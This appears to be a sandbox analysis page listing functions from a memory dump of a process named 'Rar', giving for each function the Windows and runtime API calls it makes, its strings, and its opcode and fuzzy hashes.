Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: ee846346257f2af30738c4e4c48df29658e20db9c38c27da47d088a03ed92c36
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: E0112C3AE7C64705F7941125E48237908997F593B0F24023EEBFEC25DAEE7F64564228

Function 00007FF6F67D9F00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67DA090
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67DA13B

Strings

%c%c%c%c%c%c%c%c%c, xrefs: 00007FF6F67DA07E
%c%c%c%c%c%c%c, xrefs: 00007FF6F67DA0FD

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: aebd9267a4f769e39f5dc470e68d4a6912f4afb802c83991a4b33141eb333c93
Instruction ID: 9d6e5282a6451e4ca28925a765bc125e7a987b89826de776bc580de617e35a93
Opcode Fuzzy Hash: aebd9267a4f769e39f5dc470e68d4a6912f4afb802c83991a4b33141eb333c93
Instruction Fuzzy Hash: 265158F3F3C6444AE7698F1CE841BA92661F364B90F541B24F95AD2B84DA3DDA00CB00

Function 00007FF6F6810BFC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6F6810C26
abort.LIBCMT ref: 00007FF6F6810E8A

Strings

csm, xrefs: 00007FF6F6810C4B
csm, xrefs: 00007FF6F6810DBA

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 2eb526e610338100cfe3264b820e655a127c2191a88e37e157531c7f02c6db88
Instruction ID: 2d8f5e7220dd63948e5729f3d4f701a26230e6872167eb6a438ddf3f2882c0bf
Opcode Fuzzy Hash: 2eb526e610338100cfe3264b820e655a127c2191a88e37e157531c7f02c6db88
Instruction Fuzzy Hash: 1571B37291868186DB608F26E85077D7BA4FB04B84F148239DEBC87ACAEF3DE551C750

Function 00007FF6F681D38C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6F681D3FF
MultiByteToWideChar.KERNEL32 ref: 00007FF6F681D4C8
GetStringTypeW.KERNEL32 ref: 00007FF6F681D4E2

Strings

$%s, xrefs: 00007FF6F681D38E

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: 7207ae2d8a8d2bc73baea90120e04fa9780f493d65cfbfae95e20d4f62b264dc
Instruction ID: b79187faead5f337455210a8844674aade5713d8fc3e23014b93a5f4acf7e39a
Opcode Fuzzy Hash: 7207ae2d8a8d2bc73baea90120e04fa9780f493d65cfbfae95e20d4f62b264dc
Instruction Fuzzy Hash: 3E418262B257819AEB248F25D8007A96399FB44BA8F484639DE7E877C4FF3DE441C310

Function 00007FF6F6811040 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F680FBB0: abort.LIBCMT ref: 00007FF6F680FBC3

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6F68110EA
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6F6811116

Strings

csm, xrefs: 00007FF6F6811216

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: bf1f3522fcad2cec17011fedcae90aa41a58dfbe28084ad21e6c441b1933a19f
Instruction ID: 69e656171003b339d07e7db1cc917ec30fce900e73d74befe3b084c2bad230b9
Opcode Fuzzy Hash: bf1f3522fcad2cec17011fedcae90aa41a58dfbe28084ad21e6c441b1933a19f
Instruction Fuzzy Hash: 88518D3362974186E720EB16E05026E77A8FB89B90F005538EFBD87B95EF39E450CB10

Function 00007FF6F681ABDC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6F681ACC2
WriteFile.KERNEL32 ref: 00007FF6F681ACF5
GetLastError.KERNEL32 ref: 00007FF6F681AD17

Strings

U, xrefs: 00007FF6F681ACA0

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 75b7171df712706bbbbe88981a2ff5eeaf1b8742dbddbeaffdab09e65878ae98
Instruction ID: 7449a82c7c4d3aa87be5114ad4fb8f3583fef8296c501d8ff2c4f5c4fcf0fd55
Opcode Fuzzy Hash: 75b7171df712706bbbbe88981a2ff5eeaf1b8742dbddbeaffdab09e65878ae98
Instruction Fuzzy Hash: F141C322B29A8182EB208F25E4443B97764FB98794F414035EE6DC77D4EF3DD441C750

Function 00007FF6F67D5F40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6F67D5FB9
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67D5FFB

Part of subcall function 00007FF6F67D5B10: GetFileAttributesW.KERNELBASE(00000000,00007FF6F67D5AA9,?,?,?,?,?,?,?,?,00007FF6F67E713E,?,?,?,?,?), ref: 00007FF6F67D5B38
Part of subcall function 00007FF6F67D5B10: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6F67E713E,?,?,?,?,?,00000800,00000000), ref: 00007FF6F67D5B61

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67D605B

Strings

%u.%03u, xrefs: 00007FF6F67D5FBF, 00007FF6F67D603F

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
Opcode ID: 6b8b58716ceb5acefa21473fb371e6fa6926c7cab062e66eb5dc83167efc4bdf
Instruction ID: 3af8b78932a30b10bf21a53b2d43493db8c251f4c7c90e519cb1d4b80f8cb317
Opcode Fuzzy Hash: 6b8b58716ceb5acefa21473fb371e6fa6926c7cab062e66eb5dc83167efc4bdf
Instruction Fuzzy Hash: 80311A12B2868592EB10DB24E4506BA6369FB887E4F500731EE6EC77E5FE3ED446C700

Function 00007FF6F67B7968 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67D95A0: GetVersionExW.KERNEL32 ref: 00007FF6F67D95D1

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF6F67B70DB), ref: 00007FF6F67B79A6
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF6F67B70DB), ref: 00007FF6F67B79BB

Strings

kernel32.dll, xrefs: 00007FF6F67B799F
CompareStringOrdinal, xrefs: 00007FF6F67B79B1

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID: CompareStringOrdinal$kernel32.dll
API String ID: 3310240892-2120454788
Opcode ID: 49ce1e22c4ca76b8d84baf7a22ce1f6af1dffeca06e8df494f501f6a51c33483
Instruction ID: 8f64fb698af60b3dfbca15562eb03059e858cae8894c1b07d2bee853a5fc0b0a
Opcode Fuzzy Hash: 49ce1e22c4ca76b8d84baf7a22ce1f6af1dffeca06e8df494f501f6a51c33483
Instruction Fuzzy Hash: 69218E22E2C64281FB148F29E9A627423A8BF14B84F544539D97DD37F8FF2EE6458710

Function 00007FF6F67FE3BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF6F67FE407
CreateSemaphoreW.KERNEL32 ref: 00007FF6F67FE417
CreateEventW.KERNEL32 ref: 00007FF6F67FE430

Strings

Thread pool initialization failed., xrefs: 00007FF6F67FE44C

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 36a5d2aadd2907101ed4b08661c58f97ffa26a7329ec5cf94419911e8ff428a6
Instruction ID: 7e1b2f36c0ffc7178e8f9ec8922c4d48fa1fae7df3abece8aedb5a69b242c660
Opcode Fuzzy Hash: 36a5d2aadd2907101ed4b08661c58f97ffa26a7329ec5cf94419911e8ff428a6
Instruction Fuzzy Hash: 4721C372A2560187F7108F35D4647A932A9EF88B08F188039DA698A2D5EF7F94458790

Function 00007FF6F6818950 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F68189A3
WideCharToMultiByte.KERNEL32 ref: 00007FF6F6818A75
GetLastError.KERNEL32 ref: 00007FF6F6818A98
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F6818ACA

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: 93ae239772e5071f15e41b75af5062effff6ae120109c689e58c466e3e65b1d2
Instruction ID: 9e7563d68e1a2c30f1110f01ac560a0672ee872fb0b15ab216b4289b1a641b6d
Opcode Fuzzy Hash: 93ae239772e5071f15e41b75af5062effff6ae120109c689e58c466e3e65b1d2
Instruction Fuzzy Hash: C141E7B1A2C78247FB658B10904137DA6A8EF44B90F14413CDABD97AC9FF3ED8418722

Function 00007FF6F67CE650 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF6F67B906A,?,?,?,00007FF6F67BB230,?,?,?,?,00000000,?,00000001,00007FF6F67B33F9), ref: 00007FF6F67CE6A5
CreateFileW.KERNEL32(?,00007FF6F67B906A,?,?,?,00007FF6F67BB230,?,?,?,?,00000000,?,00000001,00007FF6F67B33F9), ref: 00007FF6F67CE6ED
CreateFileW.KERNEL32(?,00007FF6F67B906A,?,?,?,00007FF6F67BB230,?,?,?,?,00000000,?,00000001,00007FF6F67B33F9), ref: 00007FF6F67CE71C
CreateFileW.KERNEL32(?,00007FF6F67B906A,?,?,?,00007FF6F67BB230,?,?,?,?,00000000,?,00000001,00007FF6F67B33F9), ref: 00007FF6F67CE764

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9acae4cfa15129d9f6f99989be630a9f57ff8a2edb4aa1c3f1448c62d5a9a24a
Instruction ID: 23d6f390950ba79fa357d40e7a58e203fc48fa05c6ff664d5cd3983658e92e7b
Opcode Fuzzy Hash: 9acae4cfa15129d9f6f99989be630a9f57ff8a2edb4aa1c3f1448c62d5a9a24a
Instruction Fuzzy Hash: A7318032628B4142E7608F11E5547AA77A4F788BB8F504328EEBD43BC8DF3DD0448B54

Function 00007FF6F681C6DC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6F6817117,?,?,?,00007FF6F68170D2,?,?,00000000,00007FF6F6817401), ref: 00007FF6F681C6F5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6F6817117,?,?,?,00007FF6F68170D2,?,?,00000000,00007FF6F6817401), ref: 00007FF6F681C757
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6F6817117,?,?,?,00007FF6F68170D2,?,?,00000000,00007FF6F6817401), ref: 00007FF6F681C791
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6F6817117,?,?,?,00007FF6F68170D2,?,?,00000000,00007FF6F6817401), ref: 00007FF6F681C7BB

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 877b3cf2ee04eb353739190e29677811dec7d17d41fb62d6453ba00b7e080887
Instruction ID: 8e193ab4b57794926c8e7b45dde73a43bd22af5b1bac875be643117d4ea816c9
Opcode Fuzzy Hash: 877b3cf2ee04eb353739190e29677811dec7d17d41fb62d6453ba00b7e080887
Instruction Fuzzy Hash: A6217561F2875182E7208F16A44012AA7B8FB88FD0B5C4539DE7EA3BD4EF7DE4528750

Function 00007FF6F67D64B8 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF6F67D1656), ref: 00007FF6F67D6508
CreateFileW.KERNEL32(?,?,?,00007FF6F67D1656), ref: 00007FF6F67D654F
DeviceIoControl.KERNEL32 ref: 00007FF6F67D6595
CloseHandle.KERNEL32(?,?,?,00007FF6F67D1656), ref: 00007FF6F67D65A0

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

